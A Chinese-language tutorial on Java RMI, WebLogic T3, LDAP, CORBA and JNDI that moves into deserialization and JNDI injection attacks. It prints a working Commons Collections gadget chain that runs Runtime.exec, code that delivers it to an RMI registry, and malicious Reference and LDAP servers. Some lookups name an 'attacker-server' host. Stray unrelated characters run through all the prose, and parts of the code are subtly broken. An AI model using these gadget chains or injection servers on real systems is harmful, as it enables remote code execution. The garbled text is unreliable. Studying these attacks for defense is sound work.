1. RMI
1.1 JAVA RMI
1.1.1 基本概念
RMI(Remote Method Invocation,遠程方法調用)讥邻。遠程方法調用是分布式編程中的一個基本思想迫靖,實現(xiàn)遠程方法調用的技術有CORBA、WebService等(這兩種獨立于編程語言)兴使。RMI則是專門為JAVA設計系宜,依賴JRMP通訊協(xié)議。
RMI可以使我們引用遠程主機上的對象发魄,將JAVA對象作為參數傳遞盹牧,而這些對象要可以被序列化俩垃。就像C語言中有RPC(remote procedure calls )使遠程主機上執(zhí)行C函數并返回結果√ⅲ可以被遠程調用的對象必須實現(xiàn)java.rmi.Remote接口口柳,其實現(xiàn)類必須繼承UnicastRemoteObject類。如果不繼承UnicastRemoteObject類有滑,則需要手工初始化遠程對象跃闹,在遠程對象的構造方法的調用UnicastRemoteObject.exportObject()靜態(tài)方法
import java.rmi.*;
public interface RemoteObject extends Remote {
public Widget doSomething( ) throws RemoteException;
public Widget doSomethingElse( ) throws RemoteException;
}
不繼承UnicastRemoteObject類的DEMO
public class HelloImpl implements IHello {//IHello是客戶端和服務端公用接口
protected HelloImpl() throws RemoteException {
UnicastRemoteObject.exportObject(this, 0);
}
@Override
public String sayHello(String name) {//HelloImpl是一個服務端遠程對象,提供了一個sayHello方法供遠程調用毛好。
System.out.println(name);
return name;
}
}
1.1.2 RMI遠程調用過程
RMI對于遠程對象是將其Stub(類似引用/代理望艺,包含遠程對象的定位信息,如Socket端口肌访、服務端主機地址等)傳遞找默。客戶端可以像調用本地方法一樣通過Stub調用遠程方法吼驶。
客戶端發(fā)起請求惩激,請求轉交至RMI客戶端的stub類,stub類將請求的接口蟹演、方法咧欣、參數等信息進行序列化,然后基于tcp/ip將序列化后的流傳輸至服務器端轨帜,轉至skeleton類,該類將請求的信息反序列化后調用實際的類進行處理衩椒,然后再將處理結果返回給skeleton類蚌父,skeleton類將結果序列化,通過tcp/ip將流傳送給客戶端的stub毛萌,stub接收到流后將其反序列化苟弛,再將反序列化后的Java Object返回給調用者。
(1)Stub獲取方式
Stub的獲取方式有很多阁将,常見的方法是調用某個遠程服務上的方法膏秫,向遠程服務獲取存根。但是調用遠程方法又必須先有遠程對象的Stub做盅,所以這里有個死循環(huán)問題缤削。JDK提供了一個RMI注冊表(RMIRegistry)來解決這個問題。RMIRegistry也是一個遠程對象吹榴,默認監(jiān)聽在1099端口上亭敢,可以使用代碼啟動RMIRegistry,也可以使用rmiregistry命令图筹。要注冊遠程對象帅刀,需要RMI URL和一個遠程對象的引用让腹。
IHello rhello = new HelloImpl();
LocateRegistry.createRegistry(1099);//人工創(chuàng)建RMI注冊服務
Naming.bind("rmi://0.0.0.0:1099/hello", rhello);
LocateRegistry.getRegistry()會使用給定的主機和端口等信息本地創(chuàng)建一個Stub對象作為Registry遠程對象的代理,從而啟動整個遠程調用邏輯扣溺。服務端應用程序可以向RMI注冊表中注冊遠程對象骇窍,然后客戶端向RMI注冊表查詢某個遠程對象名稱,來獲取該遠程對象的Stub锥余。
(2)遠程調用邏輯
Registry registry = LocateRegistry.getRegistry("kingx_kali_host",1099);
IHello rhello = (IHello) registry.lookup("hello");
rhello.sayHello("test");
(3)動態(tài)加載類
RMI核心特點之一就是動態(tài)加載類腹纳,如果當前JVM中沒有某個類的定義,它可以從遠程URL去下載這個類的class哈恰,java.rmi.server.codebase屬性值表示一個或多個URL位置只估,可以從中下載本地找不到的類,相當于一個代碼庫着绷。動態(tài)加載的對象class文件可以使用Web服務的方式(如http://蛔钙、ftp://、file://)進行托管荠医∮跬眩客戶端使用了與RMI注冊表相同的機制。RMI服務端將URL傳遞給客戶端彬向,客戶端通過HTTP請求下載這些類兼贡。
無論是客戶端還是服務端要遠程加載類,都需要滿足以下條件:
a.由于Java SecurityManager的限制娃胆,默認是不允許遠程加載的遍希,如果需要進行遠程加載類,需要安裝RMISecurityManager并且配置java.security.policy里烦,這在后面的利用中可以看到凿蒜。
b.屬性 java.rmi.server.useCodebaseOnly 的值必需為false。但是從JDK 6u45胁黑、7u21開始废封,java.rmi.server.useCodebaseOnly 的默認值就是true。當該值為true時丧蘸,將禁用自動加載遠程類文件漂洋,僅從CLASSPATH和當前虛擬機的java.rmi.server.codebase 指定路徑加載類文件。使用這個屬性來防止虛擬機從其他Codebase地址上動態(tài)加載類力喷,增加了RMI ClassLoader的安全性刽漂。
(4)JAVA RMI Demo
//接口
public interface Hello extends Remote {
public String echo(String message) throws RemoteException;
}
//接口類實現(xiàn)
public class HelloImpl implements Hello {
@Override
public String echo(String message) throws RemoteException {
if ("quit".equalsIgnoreCase(message.toString())) {
System.out.println("Server will be shutdown!");
System.exit(0);
}
System.out.println("Message from client: " + message);
return "Server response:" + message;
}
}
//server端
public class Server {
public static void main(String[] args) throws Exception {
String name = "hello";
Hello hello = new HelloImpl();
// 生成Stub
UnicastRemoteObject.exportObject(hello, 1199);
/*
設置java.rmi.server.codebase
System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");
如果需要使用RMI的動態(tài)加載功能,需要開啟RMISecurityManager冗懦,并配置policy以允許從遠程加載類庫
System.setProperty("java.security.policy", Server.class.getClassLoader().getResource("java.policy").getFile());
RMISecurityManager securityManager = new RMISecurityManager();
System.setSecurityManager(securityManager);
*/
// 創(chuàng)建本機 1099 端口上的RMI registry
Registry registry = LocateRegistry.createRegistry(1199);
//如果registry已存在
Registry reg = LocateRegistry.getRegistry();
// 對象綁定到注冊表中
registry.rebind(name, hello);
}
}
//client端
public class Client {
public static void main(String[] args) throws Exception {
// 獲取遠程主機上的注冊表
Registry registry = LocateRegistry.getRegistry("localhost", 1199);
String name = "hello";
// 獲取遠程對象
Hello hello = (Hello) registry.lookup(name);
while (true) {
Scanner sc = new Scanner(System.in);
String message = sc.next();
// 調用遠程方法
hello.echo(message);
if (message.equals("quit")) {
break;
}
}
}
}
1.2 JAVA RMI與Weblogic RMI
RMI是基于JRMP協(xié)議的爽冕,而Weblogic RMI是基于T3協(xié)議(也有基于CORBA的IIOP協(xié)議)。WebLogic RMI是WebLogic對Java RMI的實現(xiàn)披蕉,它們之間的不同在于(1)WebLogic的字節(jié)碼生成功能會自動生成服務端的字節(jié)碼到內存颈畸。不再生成Skeleton骨架對象乌奇,也不需要使用UnicastRemoteObject對象(2)在WebLogic RMI 客戶端中,字節(jié)碼生成功能會自動為客戶端生成代理對象眯娱,因此Stub也不再需要礁苗。
T3傳輸協(xié)議是WebLogic的自有協(xié)議,它有如下特點:(1)服務端可以持續(xù)追蹤監(jiān)控客戶端是否存活(心跳機制)徙缴,通常心跳的間隔為60秒试伙,服務端在超過240秒未收到心跳即判定與客戶端的連接丟失。(2)通過建立一次連接可以將全部數據包傳輸完成于样,優(yōu)化了數據包大小和網絡消耗疏叨。
1.2.1 Weblogic RMI Demo
和RMI類似,先創(chuàng)建服務端對象接口和實現(xiàn)類
public interface IHello extends java.rmi.Remote {
String sayHello() throws RemoteException;
}
public class HelloImpl implements IHello {
public String sayHello() {
return "Hello Remote World!!";
}
}
上文提到穿剖,服務端不再需要Skeleton對象和UnicastRemoteObject對象蚤蔓,服務端代碼如黃框所示。
客戶端中也不再需要stub
1.2.2 Weblogic T3 協(xié)議
RMI的Client與Service交互采用JRMP協(xié)議糊余,而Weblogic RMI采用T3協(xié)議
WebLogic RMI調用時T3協(xié)議握手后的數據包秀又,包含不止一個序列化魔術頭(0xac 0xed 0x00 0x05),每個序列化數據包前面都有相同的二進制串(0xfe 0x01 0x00 0x00)贬芥,每個數據包上面都包含了一個T3協(xié)議頭吐辙,前4個字節(jié)正好對應著數據包長度
1.3 RMI反序列化漏洞
RMI使用反序列化機制來傳輸Remote對象,那么如果是個惡意的對象蘸劈,在服務器端進行反序列化時便會觸發(fā)反序列化漏洞昏苏。如果此時服務端存在Apache Commons Collections這種庫,就會導致遠程命令執(zhí)行威沫。即Runtime.getRuntime().exec(“calc”)
等語句捷雕。
該庫中含有一個接口類叫做Tranesformer,其實現(xiàn)類有ChainedTransformer壹甥、ConstantTransformer、InvokerTransformer壶熏、CloneTransformer句柠、ClosureTransformer、ExceptionTransformer棒假、FactoryTransformer溯职、InstantiateTransformer、MapTransformer帽哑、NOPTransformer谜酒、PredicateTransformer、StringValueTransformer妻枕、SwitchTransformer僻族。前三個可以在反序列化攻擊中進行利用粘驰,其本身功能及關鍵代碼如下
//InvokerTransformer構造函數接受三個參數,并通過反射執(zhí)行一個對象的任意方法
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
}
//ConstantTransformer構造函數接受一個參數述么,并返回傳入的參數
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
//ChainedTransformer構造函數接受一個Transformer類型的數組蝌数,并返回傳入數組的每一個成員的Transformer方法
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
將上述函數組合起來構造遠程命令執(zhí)行鏈
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
Transformer chain = new ChainedTransformer(transformers_exec);
chain.transform('1');
那么接下來的問題就是,真實環(huán)境中如何觸發(fā)ChainedTransformer.transform度秘,有兩個類調用了transform方法顶伞,LazyMap和TransformedMap。TransformedMap中的調用流程為setValue ==> checkSetValue ==> valueTransformer.transform(value)
剑梳,所以如果用TransformedMap調用transform方法唆貌,需要生成一個TransformedMap然后修改Map中的value值即可觸發(fā),上述執(zhí)行鏈添加如下部分
Transformer chainedTransformer = new ChainedTransformer(transformers_exec);
Map inMap = new HashMap();
inMap.put("key", "value");
Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer);//生成
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");
如果用LazyMap調用transform方法垢乙,調用流程為get==>factory.transform(key)
锨咙,但是這些也還是需要手動調用去修改值。要自動觸發(fā)需要執(zhí)行readObject()方法侨赡,所用的類為AnnotationInvocationHandler蓖租,該類是JAVA運行庫中的一個類,這個類有一個成員變量memberValues是Map類型羊壹,并且類中的readObject()函數中對memberValues的每一項調用了setValue()函數蓖宦,完整代碼如下
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
Map inMap = new HashMap();//創(chuàng)建一個含有Payload的惡意map
inMap.put("key", "value");
Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer);//創(chuàng)建一個含有惡意調用鏈的Transformer類的Map對象
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//獲取AnnotationInvocationHandler類對象
Constructor ctor = cls.getDeclaredConstructor(new Class[] { Class.class, Map.class });//獲取AnnotationInvocationHandler類的構造方法
ctor.setAccessible(true); // 設置構造方法的訪問權限
Object instance = ctor.newInstance(new Object[] { Retention.class, outMap });
FileOutputStream fos = new FileOutputStream("payload.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(instance);
oos.flush();
oos.close();
FileInputStream fis = new FileInputStream("payload.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
// 觸發(fā)代碼執(zhí)行
Object newObj = ois.readObject();
ois.close();
在RMI中利用,即在反序列化基礎上油猫,加入如下代碼
InvocationHandler h = (InvocationHandler) instance;// 實例化AnnotationInvocationHandler
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[]{Remote.class},
h));
try{
Registry registry = LocateRegistry.getRegistry(port);
registry.rebind("hello", r); // r is remote obj
}
catch (Throwable e) {
e.printStackTrace();
}
另外對于RMI服務攻擊稠茂,可以使用URLClassLoader方法回顯。
Object instance = PayloadGeneration.generateURLClassLoaderPayload("http://****/java/", "exploit.ErrorBaseExec", "do_exec", "pwd");
2. LDAP
LDAP(Lightweight Directory Access Protocol 情妖,輕型目錄訪問協(xié)議)是一種目錄服務協(xié)議睬关,運行在TCP/IP堆棧之上。目錄服務是一個特殊的數據庫毡证,用來保存描述性的电爹、基于屬性的詳細信息(如企業(yè)員工信息:姓名、電話料睛、郵箱等丐箩,公用證書、安全密鑰恤煞、物理設備信息等)屎勘,能進行查詢、瀏覽和搜索居扒,以樹狀結構組織數據概漱。LDAP以樹結構標識所以不能像表格一樣用SQL語句查詢,它“讀”性能很強喜喂,但“寫”性能較差瓤摧,并且沒有事務處理竿裂、回滾等復雜功能,不適于存儲修改頻繁的數據姻灶。
LDAP目錄和RMI注冊表的區(qū)別在于是前者是目錄服務铛绰,并允許分配存儲對象的屬性。
2.1 LDAP基本概念
條目Entry
條目也叫記錄項产喉,就像數據庫中的記錄捂掰。是LDAP增刪改查的基本對象。
dn(distinguished Name曾沈,唯一標識名)这嚣,每個條目都有一個唯一標識名∪悖可以看作對象的全路徑姐帚,RDN則是其中的一段路徑(靠前的一段),剩余路徑則成為父標識(PDN)障涯。
屬性Attribute
每個條目都有很多屬性(Attribute)罐旗,每個屬性都有名稱及對應的值。屬性包含cn(commonName姓名)唯蝶、sn(surname姓)九秀、ou(organizationalUnitName部門名稱)、o(organization公司名稱)等粘我。每個屬性也都有唯一的屬性類型鼓蜒。
對象類ObjectClass
對象類(ObjectClass)是屬性的集合,包含結構類型(Structural)征字、抽象類型(Abstract)和輔助類型(Auxiliary)等都弹。比如單位職工類可能包含姓sn、名cn匙姜、電話telephoneNumber等畅厢。模式(Schema)則是對象類的集合。
2.2 LDAP攻擊
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>2.3.8</version>
</dependency>
public class LDAPSeriServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] args) throws IOException {
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.setSchema(null);
config.setEnforceAttributeSyntaxCompliance(false);
config.setEnforceSingleStructuralObjectClass(false);
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
ds.add("dn: " + "dc=example,dc=com", "objectClass: top", "objectclass: domain");
ds.add("dn: " + "ou=employees,dc=example,dc=com", "objectClass: organizationalUnit", "objectClass: top");
ds.add("dn: " + "uid=longofo,ou=employees,dc=example,dc=com", "objectClass: ExportObject");
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
}
public class LDAPClient1 {
public static void main(String[] args) throws NamingException {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
Context ctx = new InitialContext();
Object object = ctx.lookup("ldap://127.0.0.1:1389/uid=longofo,ou=employees,dc=example,dc=com");
}
}
3. CORBA
3.1 CORBA概述
CORBA全稱(Common ObjectRequest Broker Architecture)也就是公共對象請求代理體系結構氮昧,是OMG(對象管理組織或详,一個非盈利性的計算機行業(yè)標準協(xié)會)制定的一種標準的面向對象應用程序體系規(guī)范。其提出是為了解決不同應用程序間的通信郭计,曾是分布式計算的主流技術。
CORBA標準主要分為三個部分椒振,IDL(接口語言)昭伸、ORB(對象請求代理)、IIOP(ORB之間的操作協(xié)議)澎迎。
其結構主要分為三部分:naming service庐杨、client side选调、servant side。它們的關系可以理解成目錄(naming service)與章節(jié)內容(servant side)的關系灵份,內容需要現(xiàn)在目錄里進行注冊仁堪。
CORBA和Java都采用面向對象技術,并且都適用于開發(fā)分布式應用填渠,所不同的是:CORBA偏重于通用的分布式應用開發(fā)弦聂,而Java注重于WWW環(huán)境中的分布式應用開發(fā)。
3.2 基礎概念
IDL(Interface Definition Language氛什,接口定義語言)莺葫,它是一種與編程語言無關的對于接口描述的規(guī)范,實現(xiàn)跨語言跨環(huán)境遠程對象調用枪眉。CORBA用的就是基于IDL的OMG IDL(對象管理標準化接口定義語言)
CORBA中的“ORB”(ObjectRequest Broker捺檬,對象請求代理)是一個中間件/代理,建立起服務端與客戶端的關系調用贸铜。對象可以在本地也可以在其他服務器上堡纬,ORB截獲客戶的調用操作,并查找實現(xiàn)服務的對象蒿秦,傳遞參數烤镐,調用方法并返回結果涩咖。
GIOP(General Inter-ORB Protocol 蘸炸,通用對象請求協(xié)議),是CORBA用來進行數據傳輸的協(xié)議济榨,針對不同的通訊層有不同的實現(xiàn)鹊杖。而對于TCP/IP層悴灵,其實現(xiàn)名為IIOP(Internet Inter-ORB Protocol),也可以說IIOP是通過TCP協(xié)議傳輸的GIOP數據骂蓖。
3.3 Demo
3.3.1 過程分析
naming service
ORBD可以理解為ORB的守護進程积瞒,其主要負責建立客戶端(client side)與服務端(servant side)的關系,同時負責查找指定的IOR(可互操作對象引用登下,是一種數據結構茫孔,是CORBA標準的一部分)。ORBD是由Java原生支持的一個服務被芳,其在整個CORBA通信中充當著naming service的作用缰贝。
IOR
IOR是一種數據結構,提供關于類型畔濒、協(xié)議支持和可用ORB服務的信息剩晴。它通常提供獲取對象的初始引用的方法,可以是命名服務(naming service)、事務服務(transaction services)赞弥,也可以是定制的CORBA服務毅整。
Stub生成
Stub有很多種生成方式,如:
(1)獲取NameServer然后后通過resolve_str()方法生成(NameServer生成方式)
Properties properties = new Properties();
properties.put("org.omg.CORBA.ORBInitialHost", "127.0.0.1");
properties.put("org.omg.CORBA.ORBInitialPort", "1050");
ORB orb = ORB.init(args, properties);
org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService");
NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef);
String name = "Hello";
helloImpl = HelloHelper.narrow(ncRef.resolve_str(name));
(2)使用ORB.string_to_object生成(ORB生成方式)
//第一種
ORB orb = ORB.init(args, null);
org.omg.CORBA.Object obj = orb.string_to_object("corbaname::127.0.0.1:1050#Hello");
Hello hello = HelloHelper.narrow(obj);
//第二種
ORB orb = ORB.init(args, null);
org.omg.CORBA.Object obj = orb.string_to_object("corbaloc::127.0.0.1:1050");
NamingContextExt ncRef = NamingContextExtHelper.narrow(obj);
Hello hello = HelloHelper.narrow(ncRef.resolve_str("Hello"));
(3)使用javax.naming.InitialContext.lookup()生成(JNDI生成方式)
ORB orb = ORB.init(args, null);
Hashtable env = new Hashtable(5, 0.75f);
env.put("java.naming.corba.orb", orb);
Context ic = new InitialContext(env);
Hello helloRef = HelloHelper.narrow((org.omg.CORBA.Object)ic.lookup("corbaname::127.0.0.1:1050#Hello"));
3.3.2 Helloworld Demo
如果要開發(fā)一個CORBA的Helloworld绽左,創(chuàng)建一個helloworld.idl
//helloworld.idl
module helloworld{ //module對應了java中的package
interface HelloWorld{
string sayHello();
};
};
在java命令行下執(zhí)行idlj -fall helloworld.idl
將IDL語言翻譯成JAVA語言悼嫉,生成server和client端代碼,然后會生成_HelloWorldStub.java(實現(xiàn)了HelloWorld接口)拼窥、HelloWorld.java(未實現(xiàn)接口)戏蔑、HelloWorldHelper.java(包含幫助函數,用于處理通過網絡傳輸的對象)闯团、HelloWorldHolder.java辛臊、HelloWorldOperations.java(IDL聲明的接口)、HelloWorldPOA.java(server的實現(xiàn)接口)房交。POA(Portable Object Adapter)彻舰,是CORBA規(guī)范的一部分,該類中的方法可以將對象注冊到naming service上候味。
public class HelloServer {
public static void main(String[] args) throws ServantNotActive, WrongPolicy, InvalidName, AdapterInactive, org.omg.CosNaming.NamingContextPackage.InvalidName, NotFound, CannotProceed {
//指定ORB的端口號 -ORBInitialPort 1050
args = new String[2];
args[0] = "-ORBInitialPort";
args[1] = "1050";
//創(chuàng)建一個ORB實例
ORB orb = ORB.init(args, null);
//拿到RootPOA的引用刃唤,并激活POAManager,相當于啟動了server
org.omg.CORBA.Object obj=orb.resolve_initial_references("RootPOA");
POA rootpoa = POAHelper.narrow(obj);
rootpoa.the_POAManager().activate();
//創(chuàng)建一個HelloWorldImpl實例
HelloWorldImpl helloImpl = new HelloWorldImpl();
//從服務中得到對象的引用白群,并注冊到服務中
org.omg.CORBA.Object ref = rootpoa.servant_to_reference(helloImpl);
HelloWorld href = HelloWorldHelper.narrow(ref);
//得到一個根名稱的上下文
org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService");
NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef);
//在命名上下文中綁定這個對象
String name = "Hello";
NameComponent path[] = ncRef.to_name(name);
ncRef.rebind(path, href);
//啟動線程服務尚胞,等待客戶端調用
orb.run();
System.out.println("server startup...");
}
public class HelloClient {
static HelloWorld helloWorldImpl;
static {
//初始化ip和端口號,-ORBInitialHost 127.0.0.1 -ORBInitialPort 1050
String args[] = new String[4];
args[0] = "-ORBInitialHost";
//server端的IP地址帜慢,在HelloServer中定義的
args[1] = "127.0.0.1";
args[2] = "-ORBInitialPort";
//server端的端口笼裳,在HelloServer中定義的
args[3] = "1050";
//創(chuàng)建一個ORB實例
ORB orb = ORB.init(args, null);
// 獲取根名稱上下文
org.omg.CORBA.Object objRef = null;
try {
objRef = orb.resolve_initial_references("NameService");
} catch (InvalidName e) {
e.printStackTrace();
}
NamingContextExt neRef = NamingContextExtHelper.narrow(objRef);
String name = "Hello";
try {
//通過ORB拿到了server實例化好的實現(xiàn)類
helloWorldImpl = HelloWorldHelper.narrow(neRef.resolve_str(name));
} catch (NotFound e) {
e.printStackTrace();
} catch (CannotProceed e) {
e.printStackTrace();
} catch (org.omg.CosNaming.NamingContextPackage.InvalidName e) {
e.printStackTrace();
}
}
public static void main(String args[]) throws Exception {
sayHello();
}
//調用實現(xiàn)類的方法
public static void sayHello() {
String str = helloWorldImpl.sayHello();
System.out.println(str);
}
4. JNDI
4.1 JNDI基本概念
JNDI(Java Naming and DIrecroty Interface),是java命名與目錄接口粱玲,JNDI包括Naming Service和Directory Service躬柬,通過名稱來尋找數據和對象的API,也稱為一種綁定抽减。JNDI可訪問的現(xiàn)有的目錄及服務有:JDBC允青、LDAP、RMI卵沉、DNS颠锉、NIS、CORBA史汗。
//web.xml
<Environment name="jndiName" value="jndiValue" type="java.lang.String" />
//index.jsp
<%
Context ctx=new InitialContext();
String testjndi=(String) ctx.lookup("java:comp/env/jndiName");
out.print(testjndi);
%>
Naming Service:命名服務是將名稱與值相關聯(lián)的實體琼掠,稱為綁定。通過find/search操作根據名稱查找對象停撞。上述的RMI Registry就是使用的Naming Service瓷蛙。
Directory Service:是一種特殊的Naming Service,允許存儲和搜索“目錄對象”,目錄對象可以與屬性相關聯(lián)速挑。一個目錄是一個類似樹的分層結構庫。LDAP就是用的Directory Service副硅。
4.2 RMI與JNDI
JNDI提供了與不同類型的服務交互的公共接口姥宝。但其自身不區(qū)分客戶端和服務端,也不具備遠程能力恐疲。JNDI在客戶端上主要進行訪問腊满、查詢和檢索等,在服務端主要進行配置管理等培己,比如在RMI服務端上不直接使用Registry進行bind而使用JNDI統(tǒng)一管理碳蛋。
JNDI架構如下圖,Naming Manager包含用于創(chuàng)建上下文對象和對象的靜態(tài)方法省咨。服務器提供者接口(SPI)允許JNDI管理不同的服務肃弟。
JNDI接口在初始化時,可以將RMI URL作為參數傳入零蓉,而JNDI注入就出現(xiàn)在客戶端的lookup()函數中笤受,如果lookup()的參數可控就可能被攻擊
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
//com.sun.jndi.rmi.registry.RegistryContextFactory 是RMI Registry Service Provider對應的Factory
env.put(Context.PROVIDER_URL, "rmi://kingx_kali:8080");
Context ctx = new InitialContext(env);
Object local_obj = ctx.lookup("rmi://kingx_kali:8080/test")
//將名稱refObj與一個對象綁定,這里底層也是調用的rmi的registry去綁定
ctx.bind("refObj", new RefObject());
//通過名稱查找對象
ctx.lookup("refObj");
在JNDI服務中敌蜂,RMI服務端除了直接綁定遠程對象之外(JAVA序列化傳輸對象到遠程服務器)箩兽,還可以通過命名引用的方式通過綁定,由命名管理器進行解析的一個引用章喉。引用由References類來綁定一個外部的遠程對象(當前名稱目錄系統(tǒng)之外的對象)汗贫。綁定了Reference之后,服務端會先通過Referenceable.getReference()獲取綁定對象的引用秸脱,并且在目錄中保存落包。當客戶端在lookup()查找這個遠程對象時,客戶端會獲取相應的object factory撞反,最終通過factory類將reference轉換為具體的對象實例妥色。
Reference reference = new Reference("MyClass","MyClass",FactoryURL);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
ctx.bind("Foo", wrapper);
4.3 JNDI動態(tài)協(xié)議轉換
JNDI除了與RMI搭配使用,還可以與LDAP遏片、CORBA等嘹害,JNDI與LDAP配合使用方式如下:
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://localhost:1389");
DirContext ctx = new InitialDirContext(env);
//通過名稱查找遠程對象,假設遠程服務器已經將一個遠程對象與名稱cn=foo,dc=test,dc=org綁定了
Object local_obj = ctx.lookup("cn=foo,dc=test,dc=org");
這是手動設置服務工廠及PROVIDER_URL的方式吮便,JNDI還提供協(xié)議的動態(tài)轉換笔呀,即使我們不設置上述內容,如果ctx.lookup("rmi://attacker-server/refObj");
執(zhí)行便自動轉換對應服務髓需。
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
"rmi://localhost:9999");
Context ctx = new InitialContext(env);
String name = "ldap://attacker-server/cn=bar,dc=test,dc=org";
//通過名稱查找對象
ctx.lookup(name);
此處的lookup中的參數如果可控就可以根據攻擊者提供的URL進行動態(tài)轉換许师。
4.4 JDNI注入
JNDI注入是BlackHat 2016(USA)@pentester 的一個議題"A Journey From JNDI LDAP Manipulation To RCE"提出的。
根據上述demo可以發(fā)現(xiàn)JNDI注入流程是(以RMI為例),如果目標代碼中調用了InitialContext.lookup(URI)微渠,且URI為用戶可控->攻擊者控制URI參數為惡意的RMI服務地址搭幻,如:rmi://hacker_rmi_server//name
->攻擊者RMI服務器向目標返回一個Reference對象,Reference對象中指定某個精心構造的Factory類->目標在進行l(wèi)ookup()操作時逞盆,會動態(tài)加載并實例化Factory類檀蹋,接著調用factory.getObjectInstance()獲取外部遠程對象實例;->攻擊者可以在Factory類文件的構造方法云芦、靜態(tài)代碼塊俯逾、getObjectInstance()方法等處寫入惡意代碼,達到RCE的效果舅逸。調用鏈為:RegistryContext.decodeObject()->NamingManager.getObjectInstance()-> factory.getObjectInstance()
JNDI主要的攻擊向量有:RMI桌肴、JNDI Reference、Remote Object琉历、LDAP坠七、Serialized Object、JNDI Reference善已、Remote Location灼捂、CORBA、IOR
(1)JNDI Reference+RMI
public class RMIServer1 {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(9999);
// Reference refObj = new Reference("refClassName", "FactoryClassName", "http://example.com:12345/");//refClassName為類名加上包名换团,F(xiàn)actoryClassName為工廠類名并且包含工廠類的包名
Reference refObj = new Reference("ExportObject", "com.longofo.remoteclass.ExportObject", "http://127.0.0.1:8000/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);
}
}
public class RMIClient1 {
public static void main(String[] args) throws RemoteException, NotBoundException, NamingException {
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
"rmi://localhost:9999");
Context ctx = new InitialContext();
ctx.lookup("rmi://localhost:9999/refObj");
}
}
當運行l(wèi)ookup函數時悉稠,RegistryContext.decodeObject() 會被調用,然后調用NamingManager.getObjectInstance() 進行實例化艘包,最終返回Reference的猛,然后getObjectFactoryFromReference() 會從Reference中得到實例化的類。攻擊者可以提供自己的工廠類想虎,一旦實例化就會運行payload卦尊。
整個攻擊過程為:攻擊者為JNDI lookup提供了一個絕對的RMI URL,然后服務器連接到攻擊者控制的RMI注冊表舌厨,該注冊表將返回惡意的JNDI引用岂却,服務器解碼JNDI引用后從攻擊者控制的服務器獲取工廠類,進行實例化的時候payload執(zhí)行裙椭。所以此攻擊方式可以用于 Spring's JndiTemplate或Apache’s Shiro JndiTemplate 等調用InitialContext.lookup()的情況躏哩。
(2)JNDI+LDAP
Naming Manager在JAVA對象(JAVA序列化、JNDI references等)解析運行時可能造成RCE揉燃,DirContext.lookup() JNDI注入和“LDAP Entry Poisoning”的主要區(qū)別是扫尺,對于前者,攻擊者就可以使用自己的LDAP服務器炊汤,對于后者正驻,攻擊者需要攻擊LDAP服務器條目弊攘,與應用程序交互時等待期返回被攻擊條目的屬性。
